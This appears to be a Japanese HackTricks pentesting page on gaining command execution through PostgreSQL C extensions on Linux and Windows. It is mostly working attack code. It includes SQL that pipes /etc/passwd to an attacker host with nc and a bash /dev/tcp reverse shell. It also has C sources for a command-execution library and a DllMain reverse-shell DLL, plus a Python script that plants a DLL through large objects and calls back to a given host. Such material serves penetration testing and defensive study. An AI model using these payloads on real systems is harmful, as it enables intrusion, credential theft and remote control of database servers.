RCE with PostgreSQL Extensions

Reading time: 16 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

PostgreSQL Extensions

PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合することができます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。

バージョン8.1以降、拡張ライブラリには特定の要件が課せられています:特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。

また、PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、この投稿を読むべきです。

RCE in Linux

詳細については、https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/を確認してください。

PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です:Metasploit module

sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');

# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Write binary file from base64

Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:

sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;

IF fh <= 2 THEN
RETURN 1;
END IF;

SELECT decode(s, 'base64') INTO w;

i := 0;
LOOP
EXIT WHEN i >= octet_length(w);

SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;

IF rs < 0 THEN
RETURN 2;
END IF;

i := i + 1;
END LOOP;

SELECT close(fh) INTO rs;

RETURN 0;

END;
$$ LANGUAGE 'plpgsql';

しかし、より新しいバージョンで試みたところ、次のエラーが表示されました:

c
ERROR:  incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.

このエラーはPostgreSQLのドキュメントで説明されています:

動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないようにするために、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PostgreSQLバージョン8.2以降、攻撃者がシステムを悪用するプロセスはより困難になりました。攻撃者は、システム上に既に存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、互換性のあるメジャーバージョンのPostgreSQLに対してコンパイルされ、特定の「マジックブロック」を含む必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上がり、システムのアーキテクチャやバージョンの互換性についてのより深い理解が必要になります。

ライブラリをコンパイルする

次のコマンドでPostgreSQLのバージョンを取得します:

sql
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit

互換性のために、主要なバージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。

そのバージョンをシステムにインストールするには:

bash
apt install postgresql postgresql-server-dev-9.6

ライブラリをコンパイルします:

c
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}

次に、コンパイルされたライブラリをアップロードし、コマンドを実行します:

bash
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes

このライブラリは事前コンパイル済みで、いくつかの異なるPostgreSQLバージョンに対応しており、さらにこのプロセスを自動化することもできます(PostgreSQLアクセスがある場合):

GitHub - dionach/pgexec: Script and resources to execute shell commands using access to a PostgreSQL service

WindowsでのRCE

以下のDLLは、バイナリの名前実行したい回数を入力として受け取り、それを実行します:

c
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);

/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))

/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/

int instances = PG_GETARG_INT32(1);

for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}

このZIPファイルにコンパイルされたDLLがあります:

このDLLに実行するバイナリと実行回数を指定できます。この例では、calc.exeを2回実行します:

bash
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);

ここ でこのリバースシェルを見つけることができます:

c
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"

#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>

#pragma comment(lib,"ws2_32")

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;

char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);

WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);

struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));

server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);

memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;

CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);

return TRUE;
}

#pragma warning(pop) /* re-enable 4996 */

/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);

PG_FUNCTION_INFO_V1(add_one);

Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);

PG_RETURN_INT32(arg + 1);
}

この場合、悪意のあるコードは DllMain 関数内にあります。これは、この場合、postgresql で読み込まれた関数を実行する必要がなく、単に DLL を読み込む だけで リバースシェルが実行される ことを意味します。

c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;

PolyUDFプロジェクトは、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(command evalexec、_cleanup_を含む)を備えた良い出発点です。

最新のPostgreSQLバージョンにおけるRCE

最新のバージョンのPostgreSQLでは、superuserが特定のディレクトリ(WindowsではC:\Program Files\PostgreSQL\11\lib、*nixシステムでは/var/lib/postgresql/11/libなど)以外から共有ライブラリファイルをロードすることが禁止されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによる書き込み操作から保護されています。

これらの制限にもかかわらず、認証されたデータベースのsuperuserは「大きなオブジェクト」を使用してファイルシステムにバイナリファイルを書き込むことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠なC:\Program Files\PostgreSQL\11\dataディレクトリ内での書き込みにも及びます。

重要な脆弱性は、CREATE FUNCTIONコマンドから生じます。このコマンドはデータディレクトリへのディレクトリトラバーサル許可します。したがって、認証された攻撃者はこのトラバーサルを悪用してデータディレクトリに共有ライブラリファイルを書き込み、その後ロードすることができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。

攻撃フロー

まず、大きなオブジェクトを使用してdllをアップロードする必要があります。その方法はここで確認できます:

Big Binary Files Upload (PostgreSQL)

拡張機能(この例ではpoc.dllという名前)をデータディレクトリにアップロードしたら、次のようにしてロードできます:

c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

注意:create関数が拡張子.dllを追加するため、付加する必要はありません。

詳細については、こちらの元の出版物をお読みください
その出版物では、postgres拡張を生成するために使用されたコードが示されています(postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかをお読みください)。
同じページには、この技術を自動化するための
エクスプロイト
が示されています:

python
#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end   = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end   = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())

sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print("    select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print("    drop function connect_back(text, integer);")

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする